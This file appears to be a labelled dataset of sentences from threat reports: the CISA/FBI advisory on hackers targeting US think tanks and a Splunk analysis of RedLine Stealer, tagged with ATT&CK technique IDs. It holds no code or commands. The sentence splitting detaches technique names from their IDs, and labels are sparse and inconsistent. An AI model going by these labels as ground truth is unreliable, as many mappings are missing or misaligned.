{"sentence": "It includes but is not limited to the complete and contextual MITRE ATT&CK:registered: mapping, MITRE D3FEND:trade_mark: countermeasures, Attack Flow by MITRE, and other threat detection content for tooling, network traffic, complete IOCs list, and system behavior.", "labels": [], "doc_title": "Operation CMDStealer Financially Motivated Campaign Leverages CMDBased Scripts and LOLBaS for Online Banking Theft in Portugal Peru and Mexico"}
{"sentence": "For more information, email BlackBerry at cti@blackberry.com.", "labels": [], "doc_title": "Operation CMDStealer Financially Motivated Campaign Leverages CMDBased Scripts and LOLBaS for Online Banking Theft in Portugal Peru and Mexico"}
{"sentence": "For similar articles and news delivered straight to your inbox, subscribe to the BlackBerry Blog.", "labels": [], "doc_title": "Operation CMDStealer Financially Motivated Campaign Leverages CMDBased Scripts and LOLBaS for Online Banking Theft in Portugal Peru and Mexico"}
{"sentence": "About The BlackBerry Research & Intelligence Team The BlackBerry Research & Intelligence team examines emerging and persistent threats, providing intelligence analysis for the benefit of defenders and the organizations they serve.", "labels": [], "doc_title": "Operation CMDStealer Financially Motivated Campaign Leverages CMDBased Scripts and LOLBaS for Online Banking Theft in Portugal Peru and Mexico"}
{"sentence": "Original release date: December 1, 2020SummaryThis Advisory uses the MITRE Adversarial Tactics, Techniques, and Common Knowledge (ATT&CK:registered:) framework.", "labels": [], "doc_title": "AA20336A Advanced Persistent Threat Actors Targeting US Think Tanks"}
{"sentence": "The Cybersecurity and Infrastructure Security Agency (CISA) and the Federal Bureau of Investigation (FBI) have observed persistent continued cyber intrusions by advanced persistent threat (APT) actors targeting U.S. think tanks.", "labels": [], "doc_title": "AA20336A Advanced Persistent Threat Actors Targeting US Think Tanks"}
{"sentence": "This malicious activity is often, but not exclusively, directed at individuals and organizations that focus on international affairs or national security policy.[1]", "labels": [], "doc_title": "AA20336A Advanced Persistent Threat Actors Targeting US Think Tanks"}
{"sentence": "The following guidance may assist U.S. think tanks in developing network defense procedures to prevent or rapidly detect these attacks.", "labels": [], "doc_title": "AA20336A Advanced Persistent Threat Actors Targeting US Think Tanks"}
{"sentence": "APT actors have relied on multiple avenues for initial access.", "labels": [], "doc_title": "AA20336A Advanced Persistent Threat Actors Targeting US Think Tanks"}
{"sentence": "Attackers may leverage virtual private networks (VPNs) and other remote work tools to gain initial access or persistence on a victim’s network.", "labels": [], "doc_title": "AA20336A Advanced Persistent Threat Actors Targeting US Think Tanks"}
{"sentence": "When successful, these low-effort, high-reward approaches allow threat actors to steal sensitive information, acquire user credentials, and gain persistent access to victim networks.", "labels": [], "doc_title": "AA20336A Advanced Persistent Threat Actors Targeting US Think Tanks"}
{"sentence": "Given the importance that think tanks can have in shaping U.S. policy, CISA and FBI urge individuals and organizations in the international affairs and national security sectors to immediately adopt a heightened state of awareness and implement the critical steps listed in the Mitigations section of this Advisory.", "labels": [], "doc_title": "AA20336A Advanced Persistent Threat Actors Targeting US Think Tanks"}
{"sentence": "Technical DetailsATT&CK Profile CISA created the following MITRE ATT&CK profile to provide a non-exhaustive list of tactics, techniques, and procedures (TTPs) employed by APT actors to break through think tanks’ defenses, conduct reconnaissance in their environments, exfiltrate proprietary or confidential information, and execute effects on targets.", "labels": ["T1005"], "doc_title": "AA20336A Advanced Persistent Threat Actors Targeting US Think Tanks"}
{"sentence": "Initial Access [TA0001] Valid Accounts [T1078] Valid Accounts: Cloud Accounts", "labels": [], "doc_title": "AA20336A Advanced Persistent Threat Actors Targeting US Think Tanks"}
{"sentence": "[T1078.004] External Remote Services [T1133] Drive-by Compromise [T1189] Exploit Public-Facing Application [T1190] Supply Chain Compromise: Compromise Software Supply Chain", "labels": [], "doc_title": "AA20336A Advanced Persistent Threat Actors Targeting US Think Tanks"}
{"sentence": "[T1195.002] Trusted Relationship [T1199] Phishing:", "labels": [], "doc_title": "AA20336A Advanced Persistent Threat Actors Targeting US Think Tanks"}
{"sentence": "Spearphishing Attachment [T1566.001] Phishing:", "labels": [], "doc_title": "AA20336A Advanced Persistent Threat Actors Targeting US Think Tanks"}
{"sentence": "Spearphishing Link [T1566.002] Phishing: Spearphishing via Service [T1566.003] Execution [TA0002] Windows Management Instrumentation", "labels": [], "doc_title": "AA20336A Advanced Persistent Threat Actors Targeting US Think Tanks"}
{"sentence": "[T1047] Scheduled Task/Job: Scheduled Task", "labels": [], "doc_title": "AA20336A Advanced Persistent Threat Actors Targeting US Think Tanks"}
{"sentence": "[T1053.005] Command and Scripting Interpreter:", "labels": [], "doc_title": "AA20336A Advanced Persistent Threat Actors Targeting US Think Tanks"}
{"sentence": "PowerShell", "labels": [], "doc_title": "AA20336A Advanced Persistent Threat Actors Targeting US Think Tanks"}
{"sentence": "Windows Command Shell [T1059.003] Command and Scripting Interpreter:", "labels": [], "doc_title": "AA20336A Advanced Persistent Threat Actors Targeting US Think Tanks"}
{"sentence": "Unix Shell [T1059.004] Command and Scripting Interpreter:", "labels": [], "doc_title": "AA20336A Advanced Persistent Threat Actors Targeting US Think Tanks"}
{"sentence": "Visual Basic [T1059.005] Command and Scripting Interpreter:", "labels": [], "doc_title": "AA20336A Advanced Persistent Threat Actors Targeting US Think Tanks"}
{"sentence": "[T1059.006] Native API [T1106] Exploitation for Client Execution [T1203] User Execution: Malicious Link [T1204.001] User Execution: Malicious File [T1204.002] Inter-Process Communication: Dynamic Data Exchange", "labels": [], "doc_title": "AA20336A Advanced Persistent Threat Actors Targeting US Think Tanks"}
{"sentence": "Service Execution [T1569.002] Persistence [TA0003] Boot or Logon Initialization Scripts: Logon Script (Windows)", "labels": [], "doc_title": "AA20336A Advanced Persistent Threat Actors Targeting US Think Tanks"}
{"sentence": "[T1053.005] Account Manipulation:", "labels": [], "doc_title": "AA20336A Advanced Persistent Threat Actors Targeting US Think Tanks"}
{"sentence": "Exchange Email Delegate Permissions [T1098.002] Create Account: Local Account [T1136.001] Office Application Startup: Office Test [T1137.002] Office Application Startup:", "labels": [], "doc_title": "AA20336A Advanced Persistent Threat Actors Targeting US Think Tanks"}
{"sentence": "Outlook Home Page [T1137.004] Browser Extensions [T1176] BITS Jobs", "labels": [], "doc_title": "AA20336A Advanced Persistent Threat Actors Targeting US Think Tanks"}
{"sentence": "[T1197] Server Software Component: Web Shell [T1505.003] Pre-OS Boot:", "labels": [], "doc_title": "AA20336A Advanced Persistent Threat Actors Targeting US Think Tanks"}
{"sentence": "Bootkit [T1542.003] Create or Modify System Process:", "labels": [], "doc_title": "AA20336A Advanced Persistent Threat Actors Targeting US Think Tanks"}
{"sentence": "Windows Service [T1543.003] Event Triggered Execution: Change Default File Association", "labels": [], "doc_title": "AA20336A Advanced Persistent Threat Actors Targeting US Think Tanks"}
{"sentence": "[T1546.008] Event Triggered Execution:", "labels": [], "doc_title": "AA20336A Advanced Persistent Threat Actors Targeting US Think Tanks"}
{"sentence": "Component Object Model Hijacking", "labels": [], "doc_title": "AA20336A Advanced Persistent Threat Actors Targeting US Think Tanks"}
{"sentence": "[T1546.015] Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder", "labels": [], "doc_title": "AA20336A Advanced Persistent Threat Actors Targeting US Think Tanks"}
{"sentence": "[T1547.001] Boot or Logon Autostart Execution: Shortcut Modification", "labels": [], "doc_title": "AA20336A Advanced Persistent Threat Actors Targeting US Think Tanks"}
{"sentence": "[T1547.009] Privilege Escalation [TA0004] Process Injection [T1055] Process Injection: Process Hollowing", "labels": [], "doc_title": "AA20336A Advanced Persistent Threat Actors Targeting US Think Tanks"}
{"sentence": "[T1055.012] Exploitation for Privilege Escalation", "labels": [], "doc_title": "AA20336A Advanced Persistent Threat Actors Targeting US Think Tanks"}
{"sentence": "[T1068] Access Token Manipulation:", "labels": [], "doc_title": "AA20336A Advanced Persistent Threat Actors Targeting US Think Tanks"}
{"sentence": "Token Impersonation/Theft", "labels": [], "doc_title": "AA20336A Advanced Persistent Threat Actors Targeting US Think Tanks"}
{"sentence": "[T1134.001] Event Triggered Execution: Accessibility Features", "labels": [], "doc_title": "AA20336A Advanced Persistent Threat Actors Targeting US Think Tanks"}
{"sentence": "[T1547.009] Abuse Elevation Control Mechanism: Bypass User Access Control", "labels": [], "doc_title": "AA20336A Advanced Persistent Threat Actors Targeting US Think Tanks"}
{"sentence": "[TA0005] Rootkit [T1014] Obfuscated Files or Information:", "labels": [], "doc_title": "AA20336A Advanced Persistent Threat Actors Targeting US Think Tanks"}
{"sentence": "Binary Padding [T1027.001] Obfuscated Files or Information: Software Packing [T1027.002] Obfuscated Files or Information:", "labels": [], "doc_title": "AA20336A Advanced Persistent Threat Actors Targeting US Think Tanks"}
{"sentence": "Steganography", "labels": [], "doc_title": "AA20336A Advanced Persistent Threat Actors Targeting US Think Tanks"}
{"sentence": "[T1036.005] Indicator Removal on Host: Clear Windows Event Logs", "labels": [], "doc_title": "AA20336A Advanced Persistent Threat Actors Targeting US Think Tanks"}
{"sentence": "[T1070.001] Indicator Removal on Host: Clear Command History [1070.003] Indicator Removal on Host: File Deletion", "labels": [], "doc_title": "AA20336A Advanced Persistent Threat Actors Targeting US Think Tanks"}
{"sentence": "[T1070.004] Indicator Removal on Host:", "labels": [], "doc_title": "AA20336A Advanced Persistent Threat Actors Targeting US Think Tanks"}
{"sentence": "Timestomp [T1070.006] Modify Registry", "labels": [], "doc_title": "AA20336A Advanced Persistent Threat Actors Targeting US Think Tanks"}
{"sentence": "[T1112] Deobfuscate/Decode Files or Information [T1140] Exploitation for Defense Evasion", "labels": [], "doc_title": "AA20336A Advanced Persistent Threat Actors Targeting US Think Tanks"}
{"sentence": "Mshta [T1218.005] Signed Binary Proxy Execution: Rundll32", "labels": [], "doc_title": "AA20336A Advanced Persistent Threat Actors Targeting US Think Tanks"}
{"sentence": "[T1548.002] Use Alternate Authentication Material: Application Access Token", "labels": [], "doc_title": "AA20336A Advanced Persistent Threat Actors Targeting US Think Tanks"}
{"sentence": "[T1550.001] Subvert Trust Controls: Code Signing [T1553.002] Impair Defenses:", "labels": [], "doc_title": "AA20336A Advanced Persistent Threat Actors Targeting US Think Tanks"}
{"sentence": "Disable or Modify Tools [T1562.001] Impair Defenses: Disable or Modify System Firewall [T1562.004] Hide Artifacts: Hidden Files and Directories", "labels": [], "doc_title": "AA20336A Advanced Persistent Threat Actors Targeting US Think Tanks"}
{"sentence": "[T1564.001] Hide Artifacts:", "labels": [], "doc_title": "AA20336A Advanced Persistent Threat Actors Targeting US Think Tanks"}
{"sentence": "Hidden Window", "labels": [], "doc_title": "AA20336A Advanced Persistent Threat Actors Targeting US Think Tanks"}
{"sentence": "[T1564.003] Credential Access", "labels": [], "doc_title": "AA20336A Advanced Persistent Threat Actors Targeting US Think Tanks"}
{"sentence": "[T1003.003] OS Credential Dumping: LSA Secrets [T1003.004] OS Credential Dumping: Cached Domain Credentials [T1003.005]", "labels": [], "doc_title": "AA20336A Advanced Persistent Threat Actors Targeting US Think Tanks"}
{"sentence": "Keylogging [T1056.001] Brute Force: Password Cracking", "labels": [], "doc_title": "AA20336A Advanced Persistent Threat Actors Targeting US Think Tanks"}
{"sentence": "Spraying [T1110.003] Forced Authentication [T1187] Steal Application Access", "labels": [], "doc_title": "AA20336A Advanced Persistent Threat Actors Targeting US Think Tanks"}
{"sentence": "Token", "labels": [], "doc_title": "AA20336A Advanced Persistent Threat Actors Targeting US Think Tanks"}
{"sentence": "[T1528] Unsecured Credentials: Credentials in Files [T1552.001] Unsecured Credentials: Group Policy Preferences [T1552.006] Credentials from Password Stores: Credentials from Web Browsers", "labels": [], "doc_title": "AA20336A Advanced Persistent Threat Actors Targeting US Think Tanks"}
{"sentence": "[T1555.003] Discovery [TA0007] System Service Discovery", "labels": [], "doc_title": "AA20336A Advanced Persistent Threat Actors Targeting US Think Tanks"}
{"sentence": "[T1007] Query Registry", "labels": [], "doc_title": "AA20336A Advanced Persistent Threat Actors Targeting US Think Tanks"}
{"sentence": "[T1057] Permission Groups Discovery: Local Groups [T1069.001] Permission Groups Discovery:", "labels": [], "doc_title": "AA20336A Advanced Persistent Threat Actors Targeting US Think Tanks"}
{"sentence": "[T1087.002] Peripheral Device Discovery [T1120] Network Share Discovery [T1135] Password Policy Discovery [T1201] Software Discovery: Security Software Discovery [T1518.001] Lateral Movement", "labels": [], "doc_title": "AA20336A Advanced Persistent Threat Actors Targeting US Think Tanks"}
{"sentence": "[TA0008] Remote Services:", "labels": [], "doc_title": "AA20336A Advanced Persistent Threat Actors Targeting US Think Tanks"}
{"sentence": "[T1021.001] Remote Services: SSH [T1021.004] Taint Shared Content [T1080] Replication Through", "labels": [], "doc_title": "AA20336A Advanced Persistent Threat Actors Targeting US Think Tanks"}
{"sentence": "Removable Media", "labels": [], "doc_title": "AA20336A Advanced Persistent Threat Actors Targeting US Think Tanks"}
{"sentence": "[T1091] Exploitation of Remote Services [T1210] Use Alternate Authentication Material:", "labels": [], "doc_title": "AA20336A Advanced Persistent Threat Actors Targeting US Think Tanks"}
{"sentence": "Pass the Hash", "labels": [], "doc_title": "AA20336A Advanced Persistent Threat Actors Targeting US Think Tanks"}
{"sentence": "Pass the Ticket [T1550.003] Collection", "labels": [], "doc_title": "AA20336A Advanced Persistent Threat Actors Targeting US Think Tanks"}
{"sentence": "[T1025] Data Staged: Local Data Staging [T1074.001] Screen Capture [T1113] Email Collection:", "labels": [], "doc_title": "AA20336A Advanced Persistent Threat Actors Targeting US Think Tanks"}
{"sentence": "Local Email Collection", "labels": [], "doc_title": "AA20336A Advanced Persistent Threat Actors Targeting US Think Tanks"}
{"sentence": "Remote Email Collection", "labels": [], "doc_title": "AA20336A Advanced Persistent Threat Actors Targeting US Think Tanks"}
{"sentence": "[T1114.002] Automated Collection [T1119] Audio Capture [T1123] Data from Information Repositories: SharePoint [T1213.002] Archive Collected Data: Archive via Utility [T1560.001] Archive Collected Data: Archive via Custom Method [T1560.003] Command and Control [TA0011] Data Obfuscation: Junk Data [T1001.001] Fallback Channels", "labels": [], "doc_title": "AA20336A Advanced Persistent Threat Actors Targeting US Think Tanks"}
{"sentence": "[T1008] Application Layer Protocol: Web Protocols [T1071.001] Application Layer Protocol:", "labels": [], "doc_title": "AA20336A Advanced Persistent Threat Actors Targeting US Think Tanks"}
{"sentence": "File Transfer Protocols", "labels": [], "doc_title": "AA20336A Advanced Persistent Threat Actors Targeting US Think Tanks"}
{"sentence": "DNS [T1071.004] Proxy: External Proxy [T1090.002] Proxy: Multi-hop", "labels": [], "doc_title": "AA20336A Advanced Persistent Threat Actors Targeting US Think Tanks"}
{"sentence": "Proxy [T1090.003] Proxy: Domain Fronting [T1090.004] Communication Through Removable Media", "labels": [], "doc_title": "AA20336A Advanced Persistent Threat Actors Targeting US Think Tanks"}
{"sentence": "[T1092] Non-Application Layer Protocol", "labels": [], "doc_title": "AA20336A Advanced Persistent Threat Actors Targeting US Think Tanks"}
{"sentence": "[T1095] Web Service: Dead Drop Resolver [T1102.001] Web Service:", "labels": [], "doc_title": "AA20336A Advanced Persistent Threat Actors Targeting US Think Tanks"}
{"sentence": "Bidirectional Communication [T1102.002] Multi-Stage Channels [T1104] Ingress Tool Transfer [T1105] Data Encoding: Standard Encoding [T1132.001] Remote Access Software [T1219] Dynamic Resolution: Domain Generation Algorithms", "labels": [], "doc_title": "AA20336A Advanced Persistent Threat Actors Targeting US Think Tanks"}
{"sentence": "[T1573.002] Exfiltration [TA0010] Exfiltration Over C2 Channel [T1041] Exfiltration Over Alternative Protocol: Exfiltration Over Unencrypted/Obfuscated Non-C2 Protocol", "labels": [], "doc_title": "AA20336A Advanced Persistent Threat Actors Targeting US Think Tanks"}
{"sentence": "[T1048.003] Impact [TA0040] Data Encrypted for Impact [T1486] Resource Hijacking [T1496] System Shutdown/Reboot [T1529] Disk Wipe: Disk Structure Wipe", "labels": [], "doc_title": "AA20336A Advanced Persistent Threat Actors Targeting US Think Tanks"}
{"sentence": "[T1561.002] MitigationsCISA and FBI recommend think tank organizations apply the following critical practices to strengthen their security posture.", "labels": [], "doc_title": "AA20336A Advanced Persistent Threat Actors Targeting US Think Tanks"}
{"sentence": "Users/Staff Log off remote connections when not in use.", "labels": [], "doc_title": "AA20336A Advanced Persistent Threat Actors Targeting US Think Tanks"}
{"sentence": "Be vigilant against tailored spearphishing attacks targeting corporate and personal accounts (including both email and social media accounts).", "labels": [], "doc_title": "AA20336A Advanced Persistent Threat Actors Targeting US Think Tanks"}
{"sentence": "Use different passwords for corporate and personal accounts.", "labels": [], "doc_title": "AA20336A Advanced Persistent Threat Actors Targeting US Think Tanks"}
{"sentence": "Employ strong multi-factor authentication for personal accounts, if available.", "labels": [], "doc_title": "AA20336A Advanced Persistent Threat Actors Targeting US Think Tanks"}
{"sentence": "See Using Caution with Email Attachments.", "labels": [], "doc_title": "AA20336A Advanced Persistent Threat Actors Targeting US Think Tanks"}
{"sentence": "Using removable media (e.g., USB thumb drives, external drives, CDs).", "labels": [], "doc_title": "AA20336A Advanced Persistent Threat Actors Targeting US Think Tanks"}
{"sentence": "IT Staff/Cybersecurity Personnel Segment and segregate networks and functions.", "labels": [], "doc_title": "AA20336A Advanced Persistent Threat Actors Targeting US Think Tanks"}
{"sentence": "Employ strong multi-factor authentication for corporate accounts.", "labels": [], "doc_title": "AA20336A Advanced Persistent Threat Actors Targeting US Think Tanks"}
{"sentence": "Deploy antivirus software on organizational devices to automatically scan and quarantine suspicious files.", "labels": [], "doc_title": "AA20336A Advanced Persistent Threat Actors Targeting US Think Tanks"}
{"sentence": "Apply encryption to data at rest and data in transit.", "labels": [], "doc_title": "AA20336A Advanced Persistent Threat Actors Targeting US Think Tanks"}
{"sentence": "Use email security appliances to scan and remove malicious email attachments or links. Monitor key internal security tools and identify anomalous behavior.", "labels": [], "doc_title": "AA20336A Advanced Persistent Threat Actors Targeting US Think Tanks"}
{"sentence": "Flag any known indicators of compromise or threat actor behaviors for immediate response.", "labels": [], "doc_title": "AA20336A Advanced Persistent Threat Actors Targeting US Think Tanks"}
{"sentence": "Organizations can implement mitigations of varying complexity and restrictiveness to reduce the risk posed by threat actors who use Tor (The Onion Router) to carry out malicious activities.", "labels": [], "doc_title": "AA20336A Advanced Persistent Threat Actors Targeting US Think Tanks"}
{"sentence": "See the CISA-FBI Joint Cybersecurity Advisory on Defending Against Malicious Cyber Activity Originating from Tor for mitigation options and additional information.", "labels": [], "doc_title": "AA20336A Advanced Persistent Threat Actors Targeting US Think Tanks"}
{"sentence": "Prevent exploitation of known software vulnerabilities by routinely applying software patches and upgrades.", "labels": [], "doc_title": "AA20336A Advanced Persistent Threat Actors Targeting US Think Tanks"}
{"sentence": "Foreign cyber threat actors continue to exploit publicly known—and often dated—software vulnerabilities against broad target sets, including public and private sector organizations.", "labels": [], "doc_title": "AA20336A Advanced Persistent Threat Actors Targeting US Think Tanks"}
{"sentence": "If these vulnerabilities are left unpatched, exploitation often requires few resources and provides threat actors with easy access to victim networks.", "labels": [], "doc_title": "AA20336A Advanced Persistent Threat Actors Targeting US Think Tanks"}
{"sentence": "Review CISA and FBI’s Top 10 Routinely Exploited Vulnerabilities and other CISA alerts that identify vulnerabilities exploited by foreign attackers.", "labels": [], "doc_title": "AA20336A Advanced Persistent Threat Actors Targeting US Think Tanks"}
{"sentence": "Implement an antivirus program and a formalized patch management process.", "labels": [], "doc_title": "AA20336A Advanced Persistent Threat Actors Targeting US Think Tanks"}
{"sentence": "Block certain websites and email attachments commonly associated with malware (e.g., .scr, .pif, .cpl, .dll, .exe).", "labels": [], "doc_title": "AA20336A Advanced Persistent Threat Actors Targeting US Think Tanks"}
{"sentence": "Block email attachments that cannot be scanned by antivirus software (e.g., .zip files).", "labels": [], "doc_title": "AA20336A Advanced Persistent Threat Actors Targeting US Think Tanks"}
{"sentence": "Implement filters at the email gateway and block suspicious IP addresses at the firewall.", "labels": [], "doc_title": "AA20336A Advanced Persistent Threat Actors Targeting US Think Tanks"}
{"sentence": "Routinely audit domain and local accounts as well as their permission levels to look for situations that could allow an adversary to gain wide access by obtaining credentials of a privileged account.", "labels": [], "doc_title": "AA20336A Advanced Persistent Threat Actors Targeting US Think Tanks"}
{"sentence": "Implement a Domain-Based Message Authentication, Reporting & Conformance (DMARC) validation system.", "labels": [], "doc_title": "AA20336A Advanced Persistent Threat Actors Targeting US Think Tanks"}
{"sentence": "Disable or block unnecessary remote services.", "labels": [], "doc_title": "AA20336A Advanced Persistent Threat Actors Targeting US Think Tanks"}
{"sentence": "Limit access to remote services through centrally managed concentrators.", "labels": [], "doc_title": "AA20336A Advanced Persistent Threat Actors Targeting US Think Tanks"}
{"sentence": "Deny direct remote access to internal systems or resources by using network proxies, gateways, and firewalls.", "labels": [], "doc_title": "AA20336A Advanced Persistent Threat Actors Targeting US Think Tanks"}
{"sentence": "Limit unnecessary lateral communications.", "labels": [], "doc_title": "AA20336A Advanced Persistent Threat Actors Targeting US Think Tanks"}
{"sentence": "Disable file and printer sharing services.", "labels": [], "doc_title": "AA20336A Advanced Persistent Threat Actors Targeting US Think Tanks"}
{"sentence": "If these services are required, use strong passwords or Active Directory authentication.", "labels": [], "doc_title": "AA20336A Advanced Persistent Threat Actors Targeting US Think Tanks"}
{"sentence": "Ensure applications do not store sensitive data or credentials insecurely.", "labels": [], "doc_title": "AA20336A Advanced Persistent Threat Actors Targeting US Think Tanks"}
{"sentence": "Enable a firewall on agency workstations, configured to deny unsolicited connection requests.", "labels": [], "doc_title": "AA20336A Advanced Persistent Threat Actors Targeting US Think Tanks"}
{"sentence": "Disable unnecessary services on agency workstations and servers.", "labels": [], "doc_title": "AA20336A Advanced Persistent Threat Actors Targeting US Think Tanks"}
{"sentence": "Scan for and remove suspicious email attachments; ensure any scanned attachment is its \"true file type\" (i.e., the extension matches the file header).", "labels": [], "doc_title": "AA20336A Advanced Persistent Threat Actors Targeting US Think Tanks"}
{"sentence": "Monitor users' web browsing habits; restrict access to suspicious or risky sites.", "labels": [], "doc_title": "AA20336A Advanced Persistent Threat Actors Targeting US Think Tanks"}
{"sentence": "Contact InformationRecipients of this report are encouraged to contribute any additional information that they may have related to this threat.", "labels": [], "doc_title": "AA20336A Advanced Persistent Threat Actors Targeting US Think Tanks"}
{"sentence": "To report suspicious or criminal activity related to information found in this Joint Cybersecurity Advisory, contact your local FBI field office at www.fbi.gov/contact-us/field, or the FBI’s 24/7 Cyber Watch (CyWatch) at (855) 292-3937 or by email at CyWatch@fbi.gov.", "labels": [], "doc_title": "AA20336A Advanced Persistent Threat Actors Targeting US Think Tanks"}
{"sentence": "To request incident response resources or technical assistance related to these threats, contact CISA at Central@cisa.gov. References CISA Alert: Microsoft Office 365 Security Recommendations CISA Alert: Technical Approaches to Uncovering and Remediating Malicious Activity CISA", "labels": [], "doc_title": "AA20336A Advanced Persistent Threat Actors Targeting US Think Tanks"}
{"sentence": "Webpage: Telework Guidance CISA Webpage: VPN-Related Guidance FBI Private Industry Notification: PIN 20200409-001 References [1] CyberScoop:", "labels": [], "doc_title": "AA20336A Advanced Persistent Threat Actors Targeting US Think Tanks"}
{"sentence": "As Europe prepares to vote, Microsoft warns of Fancy Bear attacks on democratic think tanks Revisions Initial Version: December 1, 2020", "labels": [], "doc_title": "AA20336A Advanced Persistent Threat Actors Targeting US Think Tanks"}
{"sentence": "RedLine Stealer is a malware strain designed to steal sensitive information from compromised systems.", "labels": [], "doc_title": "Do Not Cross The RedLine Stealer Detections and Analysis"}
{"sentence": "It is typically distributed through phishing emails, social engineering tactics, and malicious URL links.", "labels": [], "doc_title": "Do Not Cross The RedLine Stealer Detections and Analysis"}
{"sentence": "Since it was released, threat actors and adversaries have leveraged RedLine Stealer because of its availability and flexibility for stealing credentials that can cause financial loss and data leakage.", "labels": [], "doc_title": "Do Not Cross The RedLine Stealer Detections and Analysis"}
{"sentence": "In 2020, there was a RedLine campaign that targeted both enterprise and personal devices.", "labels": [], "doc_title": "Do Not Cross The RedLine Stealer Detections and Analysis"}
{"sentence": "Amadey malware is a botnet that is being used now to distribute RedLine malware to steal data such as browser credentials, crypto wallets and even credit card information.", "labels": [], "doc_title": "Do Not Cross The RedLine Stealer Detections and Analysis"}
{"sentence": "This malicious software has been in the top malware sample shared for months on anyrun statistics reports as well as in Malware bazaar.", "labels": [], "doc_title": "Do Not Cross The RedLine Stealer Detections and Analysis"}
{"sentence": "In this blog post, the Splunk Threat Research Team provides a deep dive analysis of this threat and valuable insights to enable blue teamers to defend and detect this malware variant.", "labels": [], "doc_title": "Do Not Cross The RedLine Stealer Detections and Analysis"}
{"sentence": "Blog details include: Analysis of the phishing URLs The RedLine Loader The RedLine Stealer Capabilities Splunk Security Content Spear Phish Link Data The operators behind RedLine Stealer use several techniques to gain initial access to their victims.", "labels": [], "doc_title": "Do Not Cross The RedLine Stealer Detections and Analysis"}
{"sentence": "One common initial access technique that this Trojan Stealer uses is a phishing URL link.", "labels": [], "doc_title": "Do Not Cross The RedLine Stealer Detections and Analysis"}
{"sentence": "To gain more insight on how this malware executes its campaign, the Splunk Threat Research Team (STRT) collected 90 days of URL data from URLhaus and used Jupyter Notebooks to analyze the dataset to identify trends of the RedLine URL links.", "labels": [], "doc_title": "Do Not Cross The RedLine Stealer Detections and Analysis"}
{"sentence": "Based on URL tags, we can see that this Trojan is also bundled, downloaded or dropped by other malware like Amadey or SmokeLoader.", "labels": [], "doc_title": "Do Not Cross The RedLine Stealer Detections and Analysis"}
{"sentence": "Figure 2 shows the top 20 domains that RedLine Stealer used to host its malware.", "labels": [], "doc_title": "Do Not Cross The RedLine Stealer Detections and Analysis"}
{"sentence": "Based on the list below, the most commonly abused legitimate file sharing domains are GitHub, Dropbox, Discord, Bitbucket, OneDrive and Google Drive.", "labels": [], "doc_title": "Do Not Cross The RedLine Stealer Detections and Analysis"}
{"sentence": "The use of these legitimate platforms allows threat actors or adversaries to evade detections or to blend in its C2 communication with other normal network traffic so security solutions will not raise any red flags or detection alerts.", "labels": [], "doc_title": "Do Not Cross The RedLine Stealer Detections and Analysis"}
{"sentence": "Figure 3 shows a simple flow diagram of how RedLine Stealer uses a loader in the form of a self-extracting archive (.exe) to initiate its infection.", "labels": [], "doc_title": "Do Not Cross The RedLine Stealer Detections and Analysis"}
{"sentence": "Figure 3 (For a larger resolution of this diagram visit this link) Defense Evasion Component As described in Figure 3, the Redline Loader will also load an executable named it532878.exe, which is a .NET executable that is responsible for defense evasion.", "labels": [], "doc_title": "Do Not Cross The RedLine Stealer Detections and Analysis"}
{"sentence": "Figure 4 shows the code snippet of this RedLine component that will do the following: Escalate its privilege as administrator or trustedinstaller Try to disable Windows Defender service “WinDefend” Try to disable Tamper Protection settings of Windows Defender.", "labels": ["T1562.001"], "doc_title": "Do Not Cross The RedLine Stealer Detections and Analysis"}
{"sentence": "Disable Windows update services such as (“wuauserv”, “WaaSMedicSvc”, “UsoSvc”)", "labels": ["T1562.001"], "doc_title": "Do Not Cross The RedLine Stealer Detections and Analysis"}
{"sentence": "Disable Automatic Update and change Windows configurations related to Windows Update Figure 4 RedLine Stealer Deep Dive C2 Connection Check RedLine Stealer is designed to be stealthy and avoid detection by security software.", "labels": ["T1562.001"], "doc_title": "Do Not Cross The RedLine Stealer Detections and Analysis"}
{"sentence": "Therefore, it typically starts by decrypting its initial configuration data, which is often encoded or encrypted to prevent detection.", "labels": ["T1027", "T1140"], "doc_title": "Do Not Cross The RedLine Stealer Detections and Analysis"}
{"sentence": "It starts its code by decrypting its initial configuration that the malware needs to connect to its Command and Control (C2) server and receive instructions on how to operate.", "labels": ["T1140"], "doc_title": "Do Not Cross The RedLine Stealer Detections and Analysis"}
{"sentence": "This includes the domain or IP address of the C2 server, as well as the connection IDs and keys that are used to establish a secure connection.", "labels": [], "doc_title": "Do Not Cross The RedLine Stealer Detections and Analysis"}
{"sentence": "Figure 5 shows the code of the decryption algorithm used by RedLine Stealer to decrypt its initial configuration data which is a combination of Base64 and XOR functions.", "labels": ["T1027", "T1140"], "doc_title": "Do Not Cross The RedLine Stealer Detections and Analysis"}
{"sentence": "Figure 6 shows the code of RedLine that consistently checks the connection of its client malware to the C2 server.", "labels": [], "doc_title": "Do Not Cross The RedLine Stealer Detections and Analysis"}
{"sentence": "If the C2 server is already down or offline during analysis, this piece of code can be considered an anti-sandbox technique because RedLine will not continue its execution.", "labels": [], "doc_title": "Do Not Cross The RedLine Stealer Detections and Analysis"}
{"sentence": "Figure 6 After establishing a connection to its C2, it will fetch another configuration setting data from its C2 server that will fill the ScanningArg() class, which is a data structure of boolean variables that will serve as a switch to RedLine functionality.", "labels": [], "doc_title": "Do Not Cross The RedLine Stealer Detections and Analysis"}
{"sentence": "Figure 7 shows the snippet of ScanningArg() class data member of RedLine which accepts either ON or OFF (True or False) values to enable the chosen RedLine settings or functions.", "labels": [], "doc_title": "Do Not Cross The RedLine Stealer Detections and Analysis"}
{"sentence": "Figure 7 RedLine Capabilities RedLine Stealer has several features that will be executed depending on the configuration setting it downloaded from its C2 to steal information from the compromised or targeted host.", "labels": ["T1005"], "doc_title": "Do Not Cross The RedLine Stealer Detections and Analysis"}
{"sentence": "Figure 8 is the screenshot showing several function capabilities of RedLine that we renamed during our analysis.", "labels": [], "doc_title": "Do Not Cross The RedLine Stealer Detections and Analysis"}
{"sentence": "Figure 8 Gather System Information As stated earlier, RedLine Stealer has the ability to collect or extract various types of system information from a targeted or compromised computer.", "labels": ["T1082"], "doc_title": "Do Not Cross The RedLine Stealer Detections and Analysis"}
{"sentence": "To provide a more detailed explanation, the table summary below shows each of the functions of the RedLine Stealer malware and describes the specific information that each function attempts to gather.", "labels": [], "doc_title": "Do Not Cross The RedLine Stealer Detections and Analysis"}
